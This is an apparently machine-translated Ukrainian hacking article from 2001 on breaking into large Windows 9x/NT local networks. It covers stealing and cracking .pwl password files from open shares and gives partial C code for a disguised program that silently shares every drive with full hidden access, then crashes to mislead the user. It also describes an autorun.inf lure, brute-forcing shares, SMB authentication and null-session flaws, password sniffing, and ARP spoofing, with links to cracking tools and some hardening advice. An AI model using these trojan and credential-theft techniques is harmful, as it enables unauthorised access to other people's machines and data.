Технологія злому великих локальних сетейЧасть № 1, Windows 9x/NT, Security & Hack, статті

Underground InformatioN Center

Введення

  
У цій статті зроблена спроба відстежити всі недоліки в системі безпеки великих локальних мереж, що базуються на машинах з ОС Windows95/98/Me/NT/W2k, в яких адміністрування сильно утруднено у зв’язку з великою чисельністю машин. Наведено приклади використання відповідних інструментів для злому, вихідні тексти автора. Так само даються рекомендації щодо усунення проблем.

Отже, ми в мережі

Поставимо себе на місце людини, якій все дуже цікаво …

  
І з чого ми почнемо? З дослідження, звичайно. Погуляємо по мережі, подивимось, де доступ тільки на читання, а де і повний. Знаходимо різні кулі, доступні на читання (наприклад, з ім’ям “install”, “temp”), а на запис якщо і знаходимо, то це щось типу “obmen” або “income”, і путнього нічого там немає. А основна маса ресурсів вимагає пароль. Але іноді натрапляємо кулі з ім’ям “c”, “d” … Це нам дуже цікаво. Розшарений докорінно диск, це завжди приємно. 🙂 Поки будемо діяти примітивно. Насамперед знаходимо папку “Windows” і витягуємо звідти всі *. pwl файли і зберігаємо у себе на диску. За назвами цих файлів, за їх розміром та кількістю ми вже можемо зробити деякі висновки. Наприклад, файл oleg.pwl ясно дає зрозуміти як звуть людину, що сидить за цією машиною. Чим більше файл, тим більше в ньому збережено паролів до ресурсів. Якщо файлів PWL на машині штук п’ять, це означає що за машиною сидить досить багато людей. Хоча може бути й те, що ці файли створилися вже давно, а на машині валяються без застосування. Адже якщо ви перший раз входите в систему, для вас створюється новий PWL, в якому будуть зберігатися …

  
Що ми можемо знайти в PWL? Почнемо розтин. Беремо будь-яку програму для злому паролів і діємо згідно з інструкцією. 😉 Що ми бачимо? PWL – це “скарбничка”, в яку поміщаються всі паролі, які користувач вводить для доступу до віддалених ресурсів.

  
Для машин, де використовується для доступу в Internet модем, це звичайно так:
(Прим.: реальні паролі я забив знаком “X”)

(C) 11-Sep-1998y by Hard Wisdom "PWL's Hacker" v4.02 (1996,97,98)
                                ~~~~~~~~~~~~~~
 ¦ Enter the User Password: 
File '1.PWL' has size 948 bytes, version [W95osr2_Win98]
for user '1' with password '' contains:

-[Type]-[The resource location string]--------------[Password]-
  Dial   *Rna\My Connection\ZZ-top                    XXXXXXX
  Dial   *Rna\My Connection\ZZ-TOP                    XXXXXXX
  Dial   *Rna\My Connection\ZZTOP                     XXXXXXX
  Dial   *Rna\TiNET 1\ZZTOP                       XXXXXXXXXXX
  Dial   *Rna\TiNET 2\ZZTOP                           XXXXXXX
  Dial   *Rna\TiNET\neoxars                           XXXXXXX
  Dial   *Rna\TiNET\NeoXars                           XXXXXXX
---------------------------------------------------------------
 ¦ Indexed Entryes: 1;   Number of resources: 7.

Для машин, що працюють в локальних мережах, наприклад, так:

File 'SANJA.PWL' has size 884 bytes, version [W95osr2_Win98]
for user 'SANJA' with password 'QUAKE' contains:

-[Type]-[The resource location string]--------------[Password]-
  Link   ASH\EMAIL                                     XXXXXX
  Link   ASH\INTERNET                                  XXXXXX
  Link   ASH\RED                                       XXXXXX
  Link   ASH\TI_UART
  Dial ! crypt_Blizzard_Storm                           XXXXX
  Url/   www.xilinx.com/xilinx account          XXXXXX:XXXXXX
  MAPI   MAPI                                            MAPI
---------------------------------------------------------------
 _ Indexed Entryes: 4;   Number of resources: 7.

  
Всі паролі, що зберігаються в PWL, закриті тільки одним паролем – тим, який вводиться при вході в систему. І найчастіше його або немає, або він короткий (хоча всяке буває). Тому ми легко їх розкриваємо і отримуємо доступ до інших машин. Потім витягуємо з них PWL і чинимо так само. І можна було б сказати, що підбір паролів вручну морально застарів, але я дуже часто успішно використовував цей метод. Так що, хто шукає, той завжди знайде. 😉

  
Що тут можна порадити? Простим варіантом буде додавання символу “$” до імені ресурсу, що зробить його невидимим для всіх в мережевому оточенні. Чим менше людей знають про нього, тим менше шансів бути атакованим. Але не варто ставити прості імена типу “C $”, тому що їх досить часто перевіряють зломщики. Хоча це не рятує від тих, хто знає свою справу. Адже на запит про надання списку доступних ресурсів система видає повний список, включаючи і “невидимі” ресурси. Фільтруються вони вже локально. Тому, існує можливість скористатися призначеними для цього програмами, хоча б юніксовим SMB-клієнтом. А ще простіше – запустіть сніффер, зловіть відповідь від сервера і подивіться на нього. А змусити віддалений хост надіслати вам список доступних ресурсів можна командою “net view \ \ comp_name”

Трохи творчості

  
Ну що ж? Тепер ми маємо доступ до деяких ресурсів. Що ще можна зробити? Наприклад, переписати, куди тільки можна програмку, яка при запуску зробить доступними всі диски і на читання, і на запис. Називаємо її відповідним ім’ям в розрахунку на те, що хтось її запустить. Звичайно, можна було б ще довго і нудно розповідати про троянізаціі, маскировании під must have-файли, але я цього робити не буду. Це вже відноситься до психології.

Ось що я написав для демонстрації даного методу.
(Для того, щоб хтось попало не компілювати, я не даю повний лістинг)

---------------------------------------------------------------------
  share_info_50 shinfo50;

  ZeroMemory(&shinfo50,sizeof(shinfo50));
  shinfo50.shi50_type=STYPE_DISKTREE;
  shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST;
  shinfo50.shi50_remark="";

/ / Расшарівать 1-й диск
  lstrcpyn(shinfo50.shi50_netname,"TEMP1$",LM20_NNLEN+1);
  shinfo50.shi50_path="C:\\";
  NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));

/ / Расшарівать 2-й диск
  lstrcpyn(shinfo50.shi50_netname,"TEMP2$",LM20_NNLEN+1);
  shinfo50.shi50_path="D:\\";
  NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));

/ / Расшарівать третій диск
  lstrcpyn(shinfo50.shi50_netname,"TEMP3$",LM20_NNLEN+1);
  shinfo50.shi50_path="E:\\";
  NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));

  FillMemory((VOID*)0xFFFFFFFF,1,0);
/ / А це для того, щоб програма вилетіла "в трубу", і
/ / Користувач подумав, що це просто збій у системі. :) (Але це
/ / Не обов'язково)
/ / P.S. Все це тільки для Win95/98/Me. Для NT потрібно небагато
/ / Модифікувати.
---------------------------------------------------------------------

  
Тепер на жертву можна зайти так – “Виконати”, “\ \ comp_name \ temp1 $” (це диск C). Що в цьому зручного? Диск расшарівать з прапорами SHI50F_FULL | SHI50F_SYSTEM | SHI50F_PERSIST, а ім’я ресурсу закінчується знаком “$”. Це означає, що:
1) Ми маємо повний доступ.
2) Шара стає системною. Тобто в провіднику (локально) не буде видно, що диск розшарено.
3) Шара не буде видно всім у мережі.

  
Можете поекспериментувати з цією програмкою і поставити себе тепер на місце користувача. От ви побачили файл, який не ви записували. Вам відразу хочеться дізнатися що це, і, якщо файл не потрібен, видалити його. Ви запускаєте і бачите щось типу “програма виконала неприпустиму інструкцію”. Перша думка зазвичай про те, що програма просто не працює. Ви зі спокійною душею видаляєте файл і навіть не підозрюєте, що темну справу вже зроблено. Все. Ви під повним контролем. Тут не допоможе жоден антивірус. Спробуйте зайти з іншої машини на ваші диски. Тепер не забудьте видалити з реєстру ці ресурси. Вони знаходяться в розділі HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Network \ LanMan. До речі, є ще можливість створення reg файлу, який автоматично створить необхідні ключі в реєстрі. Але це дуже помітно, і навряд чи користувач потрапить на такий прийом. А метод з exe файлом працює досить успішно. Я проводив експерименти – багато траплялися.

Хотілося б ще згадати про можливість “змусити” користувача запустити програму, навіть не підозрюючи про це, якщо у вас є доступ на запис в корінь диска. Цей медот заснований на використанні файлів autorun.inf. (Працює метод на Win9x) Вони присутні на більшості CD-дисків. Ось приклад такого файлу:

[autorun]
open=autorun.exe
icon=autorun.exe

Нам достатньо лише рядки “open”, де ми записуємо назву програми, яка повинна виконатися. Ложим цей файл в корені доступного на запис диска і чекаємо, поки хто-небудь не натисне “Мій комп’ютер -> Диск E: “.

  
Ну а якщо на деякі машини ви так і не змогли потрапити, можна спробувати зламати паролі віддалено перебором. Для цього навіть існують спеціальні програмки. 🙂 Але переборщік паролів на мережеві ресурси за словником я не бачив і писав його сам. Ось код, який підключає мережевий диск (Win9x only):

----------------------------------------------------------------------
/ / На вході параметри - char * resname, char * password
  DWORD RetVal;
  NETRESOURCE nr;
  nr.lpRemoteName=resname;
  nr.dwType=RESOURCETYPE_DISK;
  RetVal=WNetAddConnection2(&nr,password,NULL,CONNECT_UPDATE_PROFILE);
----------------------------------------------------------------------

Трохи теорії

  
При використанні такого методу у випадку, коли віддалена машина Win9x, перебір ведеться досить швидко. Якщо ж ви намагаєтеся підключитися до NT, існує деяка затримка у разі невірної комбінації ім’я / пароль. Але якщо ви підключаєтеся як адміністратор, наскільки я пам’ятаю, такої затримки немає. У той же час, всі спроби (вдалі / невдалі – залежно від налаштувань) реєструються в журналі подій NT. Тому заздалегідь варто подумати про те, що таким способом можна переповнити журнал – це дозволить зловмисникові знищити більш важливу інформацію в логах.

  
Але не завжди потрібен перебір всіх варіантів паролів. Для машин Win95/98/Me справи йдуть набагато гірше. У реалізації авторизації SMB-сесії Microsoft допустила помилку, тому, шляхом написання спеціального експлоїта, можна отримати доступ до жертви, витративши на злом пароля, приблизно, стільки часу, скільки необхідно затратити на підбір одного символу, помноженого на їх кількість. Ви можете побачити програмну реалізацію використання цієї помилки, якщо в пошуковому сервері наберете “PQWak”. Він видасть безліч посилань на цю програму. А якщо ж ви хочете версію програми, написану нашим програмістом, можете шукати по слову “xIntruder”. Ця програма, на відміну від попередньої, розуміє російські символи в іменах машин. Пограйте з цими програмами і не дивуйтеся, коли за одну секунду буде зламаний пароль довжиною в 7 символів. А потім, щоб спалося спокійніше, закачайте офіційний патч від Microsoft і роздайте всім, кому тільки можна. Посилання на патчі дана в кінці документа.

До речі, про баги. У системах NT4 і Win2k частенько залишається непропатченим баг “NetBIOS: Null Session”. Шляхом підстановки NULL замість імені користувача та пароля при підключенні до сервісу IPC $, можна отримати доступ до списку зареєстрованих в системі користувачі расшаренних ресурсів та ін. Усунути це можна занесенням значення “1” в ключ реєстру “HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ LSA Name: RestrictAnonymous “

  
Вищевказані програми працюють по протоколу TCP, встановлюючи з’єднання з 139-м портом на жертві, і вручну формуючи пакети сесій. Якщо ж в мережі використовується протокол IPX, доводиться складніше. У мене поки є плани на рахунок реалізації цього алгоритму в програмі, що працює на протоколах і TCP, і IPX. А поки приведу можливі варіанти інкапсуляції пакетів SMB:

Використовуваний протокол: IP. Всі системи – IP / TCP / Netbios / SMB
Використовуваний протокол: IPX. NT – IPX / Netbios / SMB. Win9x (default) IPX (: NMPI) / SMB

А тепер послухаємо …

  
Не можна забувати, що шляхом простого сніффінга мережі можна добути величезну кількість інформації, зокрема, паролі. До нещастя (для більшості), у багатьох протоколах на базі TCP, по старинці, пароль передається у відкритому вигляді. До таких протоколів відносяться telnet, ftp, pop3 та багато інших (примітка: якщо у вас є бажання досліджувати будь-якої протокол і подивитися “що ж там усередині”, ви можете використовувати для цього мій інструмент “TCP_LOGGER”). На зміну їм прийшли “ssh”, “apop” і подібні, але повний перехід на нові протоколи ще займе чимало часу. Але все ж, вже не можна, як раніше, легко перехоплювати паролі на SMB сесії. Вони перестали передаватися у відкритому вигляді. Ця проблема була в діалектах “LANMAN1.0” та інші, а в більш пізніх, таких як “LANMAN2.1” і “NT LM 0.12” і використовується шифрування пароля ключем, згенерованих сервером, і по мережі передається лише hash-значення. Це, звичайно, ускладнює злом, але не робить його неможливим. Адже потім можна спробувати підібрати пароль, перебираючи можливі паролі і накладаючи на нього ключ сервера, порівнюючи результат з наявним. При наявності швидкої машини і великого обсягу оперативної пам’яті, можна домогтися дуже високих показників швидкості перебору.
  
Наведу ще один приклад. Припустимо, у вашому сегменті стоять машини з NT. Беремо програму L0phtCrack і вибираємо в меню “sniffing”. Тепер вона буде прослуховувати всі мережеві підключення і зберігати протокол у файл. Потім тією ж програмкою і розкриваємо їх. Приклад файлу, який виходить в результаті використання для злому програми L0phtCrack можна подивитися тут.

Які є можливості ускладнити життя зломщикові?

  
По-перше, якщо у вашій мережі використовуються лише NT, і вам не потрібно забезпечити можливість входу з машин Windows95/98/Me, в реєстрі можна підправити один ключ, що стосується з сумісності з LANMAN2.1, що дозволить збільшити стійкість пароля, так як стандартно в паролях розрізняється регістр NT символів, а в Windows9x – немає (і не тільки з цієї причини). Дайте елементу типу DWORD “HKEY_LOCAL_MACHINE
\ System \ CurrentControlSet \ Control \ Lsa \ LMCompatibilityLevel “значення” 2 “.
  
По-друге, шляхом використання, наприклад, світчей замість хабів. Повторювачі, хаб, коаксіал – це все, що формує середовище, утворюючи “collision domain”. Тобто, весь трафік є загальним, що дозволяє з будь-якої машини перехоплювати всі пакети, що передаються який завгодно машиною в цьому сегменті. На відміну від хаба, порти комутатора розділяють “collision domain” і утворюють “broadcast domain”. Він працює з MAC адресами і на ходу стоїть “route table”. Тому пакет, адресований будь-якої машині, буде переданий на відповідний порт світча, а на інших портах ніяких подій не відбудеться. Але пам’ятаєте (!), якщо у налаштуванні не задані жорстко все MAC адреси, і світч на льоту оновлює таблицю відповідності інтерфейсів портів, то залишається можливість обдурити будь-яку машину, пославши помилковий ARP, або ICMP пакет з повідомленням про інше маршруті. Таким чином, ми можемо перенаправити трафік на свій порт … більш докладно про це можна почитати в статтях на Сервері UInC.

До чого все це?

Знову уявімо себе на місці зломщика.

  
Що ми можемо корисного з усього витягти? Якщо жертва має вихід в Internet, можна повісити туди програму, яка замеппіт який-небудь порт на proxy. Це можливо навіть в таких випадках, коли до машини ви можете дістатися тільки по IPX / SPX. Я так сам колись робив. Це був proxy з двох половинок з перетворенням TCP-> SPX-> TCP. (Просто для маршрутизації в мережу з виходом в internet використовувався “Nowell Netware “, що працює тільки з кадрами 802.3). А потім у інших виникають питання – звідки береться трафік … До речі, дізнатися, чи є у машини доступ в Мережу можна досить просто. Загляньте, що там встановлено в “Program Files”, перевірте “Temporary Internet Files” (кеш). Дізнатися настройки можна, утянув реєстр … Happy browsing! 🙂

Маленький словник

* Расшарівать – від англ. “Share”.
* PWL – скорочення “password list file”.
* Патч – від англ. “Patch” – латка.
* Сніффінг, сніффер – від англ. “Sniff” – нюхати.
* Замеппіть – від англ. “Map”. Перенаправити трафік без змін з локального порту на віддалений.

Links

Патч від Microsoft виправляє помилку в роботі SMB сесії можна завантажити тут:
www.microsoft.com/technet/security/bulletin/ms00-072.asp

SMB вломщік – www.security.nnov.ru/files/smbcrkru.zip

PWL Hacker – http://www.uinc.ru/files/useful/pwl_h402.rar
L0pht Crack – www.atstake.com/research/lc3/index.html
L0pht Crack+ – lcp.chat.ru (Російська безкоштовна версія)

(C) Copyright 2001. Україна, Запоріжжя. KMiNT21 (mailto: kmint21@mail.ru).
uinC Member
[c]uinC

Стаття написана спеціально для UInC (www.uinc.ru).
Будь-які коментарі, поправки, побажання або доповнення можна посилати сюди: kmint21@mail.ru

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*